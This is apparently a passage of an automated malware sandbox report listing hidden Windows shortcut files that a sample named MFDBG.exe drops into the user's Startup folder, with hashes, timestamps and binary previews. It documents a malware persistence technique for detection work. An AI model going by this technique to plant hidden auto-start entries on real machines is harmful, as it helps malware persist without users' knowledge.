Preview:	L..................F...."...]W%.{....(..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6f41a6564a3845c18c06b82fd78ab2a3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93163559426121
Encrypted:	false
SSDEEP:	24:8XhBfwp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LoO0R6rMhpBoUBxdRd1nYyg
MD5:	C43FC18E79DAA53B1CA296923025AFD6
SHA1:	61D059262DAA08B7406FF3EB772218AB39312C9C
SHA-256:	D9F003066AD3677D334CED16EE4E4E90E05A9094B261469F5112C3F8F096E37E
SHA-512:	14AD4478DB93AA19F12BA7D0C5EDE6E40831170D0BBA4585A3E4E205D60274476145E5CBA06CA528F507278D25963D08049229E0FC402A2AE3F744CDB855035B
Malicious:	false
Preview:	L..................F...."...]W%.{...5bK.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....9c.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6fa9c01c7c564aa6b473322be2ea0151.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94118272781065
Encrypted:	false
SSDEEP:	24:8dPhBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8F+e0R6rMhpBoUBxdRd1nYyg
MD5:	5A3BAD701202197DE4B44CB6009F31E9
SHA1:	792DD204CAAEC155F646714AEAF154E78B2932C3
SHA-256:	CD22912DD04E7292C4F780EB1FDC2D8C65715E06532CA2DBB8218B5188809CD0
SHA-512:	15911FEF7B9F4C1F068BA5EC464EDE60D0A04CF0E80DCF57813A578CED523F6686213A417ABC923AF7DEA970D541BC783A9BABD8BC7DC17940A15316B99F0269
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6fb595b1064b42a5ac3d41db0093ac3f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939508600471537
Encrypted:	false
SSDEEP:	24:8khBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8GF0R6rMhpBoUBxdRd1nYyg
MD5:	051010825E92F7405DD3DAC093849370
SHA1:	783C7FE71138E47BC8AAF6FF13424768AA83F5A6
SHA-256:	29EE07566EB48750BFFA7F751937742F2497C216BAD99B77270D2836C15934EC
SHA-512:	D85ABC5A8ECB8C5FACEC1544BD9EFF351A13FDF61F6ADF366B76556A0D4EEF488DE715F3CA759104F76330DBCB0B64EB9F32CEF694688DB62A2417564E17E8F8
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6fe75dad94c842f9886cb63f7559b868.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931256145994202
Encrypted:	false
SSDEEP:	24:86hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wKI0R6rMhpBoUBxdRd1nYyg
MD5:	FCC0C5021443DD520A7D30C053188968
SHA1:	53B7F2655F5847CEA3F52DCB4F4DA2219E80C49D
SHA-256:	04C59B501892D4713EA5ACA24135E61FAB2443E275C01099A8222399E1F37159
SHA-512:	84C28F8544B2C14A217F4DA3E8A2342DBAC93446AD3205C48D539C7D990082490DA5779D13B12F9021AFE4DE0A8CACA07D5FD93DED099EA4E55DED0D83BA5E5F
Malicious:	false
Preview:	L..................F...."...]W%.{...0FH.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_703ee5c717db456ba95cadb661dc57b1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006388
Encrypted:	false
SSDEEP:	24:8Aw2hBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Kp0R6rMhpBoUBxdRd1nYyg
MD5:	37F264EDD0922C996BE37E7735EC5938
SHA1:	C4AACB5069610C0569ABB26A8F84F455B2831B75
SHA-256:	706FCD9AF11F19CB018B4EEAD33959C341D4B5A8BE320ADFC5B07240651049E1
SHA-512:	D08897BC9D9E2D8EE7AC0B25C2B86AA6EC758523C279B33BB6E11E7EB1F44AFE0A3A42F33F8EB69215300D56C7E47CA6FC924C6168594C43D562DF0CB906CBD2
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_708c94d6819e41cab931de5b0ad30ad0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93493940946071
Encrypted:	false
SSDEEP:	24:89hBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89rQ0R6rMhpBoUBxdRd1nYyg
MD5:	24040E9DD0DF008804BC8774C241A2ED
SHA1:	D7D692758ED69A2FEF465D61ABB8D4B74A1071BB
SHA-256:	DEAE03A260B026AD9D71274230E0953DACA67E3D5A6E12567A972EEC67575D26
SHA-512:	5657BC9C2422327477250EE286134C057F3128BC7C6C4133D14C6756B883CCBFC318F9B0CF934E1300C7F3295DF67D28809BE68B7BB977B80E0A65688BC6C44F
Malicious:	false
Preview:	L..................F...."...]W%.{...(...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7092882e727e47e6bd507c89835336a5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940015598425792
Encrypted:	false
SSDEEP:	24:8JhBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8JL0R6rMhpBoUBxdRd1nYyg
MD5:	2D7EE1C55FC20694B084262E9DDC7F3C
SHA1:	3A534D33D0E58EE76012398B59786FFA807DE0CE
SHA-256:	35B40E39050F9DC40834098267D0F96F2F0461E46C13F8245B0B90A8D065BFAD
SHA-512:	37ECD7B723C9D347418784B12F105440C707C102CFC78F4E241DCBCA3136BE9DAFE4A9A52A8E184EA74ABD720FCCF55E3E3F6CDE206D4C27C8674B6239DDC10A
Malicious:	false
Preview:	L..................F...."...]W%.{...RV..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S/..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_70a416cd5b2c43ee8efc31478be68b37.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9436124304310605
Encrypted:	false
SSDEEP:	24:824hBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82aa0R6rMhpBoUBxdRd1nYyg
MD5:	EC9216903CB5BEC5685E0843E0CC6EE5
SHA1:	3C2C77051384F35B56555810FDCE1090272DE5F8
SHA-256:	2CF3224C3CA3629E140DC61A2479E7A8DDE53B9EEF029D4FCFF7517EBB213AE8
SHA-512:	B980DD2C8FB7A2A2CA30E841DE80279CF28D8A7FC9B5796D6EE7CB0BB33EA2CA8101E19F98E4AE0A1F912EC70A88406637403711AA7FEAD86D792D51E4F38B01
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_711feef794b24e69b333bd32382bcc61.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941935814129832
Encrypted:	false
SSDEEP:	24:849hBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8o60R6rMhpBoUBxdRd1nYyg
MD5:	A2EBA72DBFC91E720DAAEDE33EE56DB2
SHA1:	1E106739A292EA6681A1E13E0E258D12E6B15CBC
SHA-256:	D4F69BE6A1A6F23797897DDE88443DAEBD9192AEDF322263C9923CB95F6C8024
SHA-512:	4E94AFADDC7D4D24523AC695FEC863DD6FDC7990131D41C1ED5DB378B6E4E6BE5866AE2503FE4E26C3AFE348BC1D8297D7DC8409F9489E083670872401E75494
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7138a5573fa94279b905b2b549577c64.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9424249388540105
Encrypted:	false
SSDEEP:	24:8YhBfGI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86uIT0R6rMhpBoUBxdRd1nYyg
MD5:	38EB23E5C6FB2221AFC6BAA75CF425EA
SHA1:	C515AC426E09DFAFE16B3FA003B39A24F44A2EC5
SHA-256:	8496E19AAA0F94C151768A935310AD380A2830CDEA9A752CBC5A4A0ACF23C224
SHA-512:	32D0C26386EB7C8065FBFB5A680EE5D397D7E1708CB58649B1C163AF1CAD96726B4AC7F8003485A1AC50DEEFA54BCA509B559E9F6B35C2377D586B90284B03FE
Malicious:	false
Preview:	L..................F...."...]W%.{...&...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...w...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_715326f50c1d41ca97e579f181bb57ae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937766827419823
Encrypted:	false
SSDEEP:	24:8aQhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8XW0R6rMhpBoUBxdRd1nYyg
MD5:	0B4B553E16BACCAC21734416513FCF69
SHA1:	F2EBCA64BE7701DC4F35F022A532A8857C163C7C
SHA-256:	DC45DC46FA96B81AA32ABC5BDA1CC94A51D133982629BA3E684D3DF230731BA0
SHA-512:	C420CD8DEB238964F71BACC0C1A96FD1C1583B4EBE983057946ADB08CE04E8C87682E9E599CC7E32663804854F15252F1A3ADCEC35C6F1289D11CC0DE01F24B0
Malicious:	false
Preview:	L..................F...."...]W%.{....J..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71567f3db369474e819561d68ba0040c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936701523998155
Encrypted:	false
SSDEEP:	24:84phBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YrQ0R6rMhpBoUBxdRd1nYyg
MD5:	C6DB657E8B304FA767E778D5DAB38857
SHA1:	5C1DAAC7D2C46B8B8ABA48B966211C73302A8457
SHA-256:	39C6165A20CB0E1B2EA68958C6EBE8F7C1F498E924A4254A114AE8F7DDD579ED
SHA-512:	D247396DEFD7CEA9A4A749DBD36474C4D9CE91896B2FCEA9327C9B5FF40CCFB1D8DB5F8CC45E330D5BC896D3CF80FE7D4D1B28CC35F0685C8C40139EC95EAE90
Malicious:	false
Preview:	L..................F...."...]W%.{...,...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7164ba6916484b16beccacd38d82d5eb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936273669022362
Encrypted:	false
SSDEEP:	24:8ZhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85s0R6rMhpBoUBxdRd1nYyg
MD5:	3B7D0E9B9007ABA0F038B708A5B0923F
SHA1:	EE81CB4A3D5BE6681BABB43BF3747A0204BAEB79
SHA-256:	5964B9BB1B0BA211F79E393BE941F80EC93FCC8343D81FE6B1D80492BEDD78E0
SHA-512:	065BF9E96479B448D658A96B9A0B850BCEF76B94AE1187013503D701E9DC67D422E92A96A1980D86AF3A212F2AFC00E91EAB43BF4FE5BBCC13943C1AFC607147
Malicious:	false
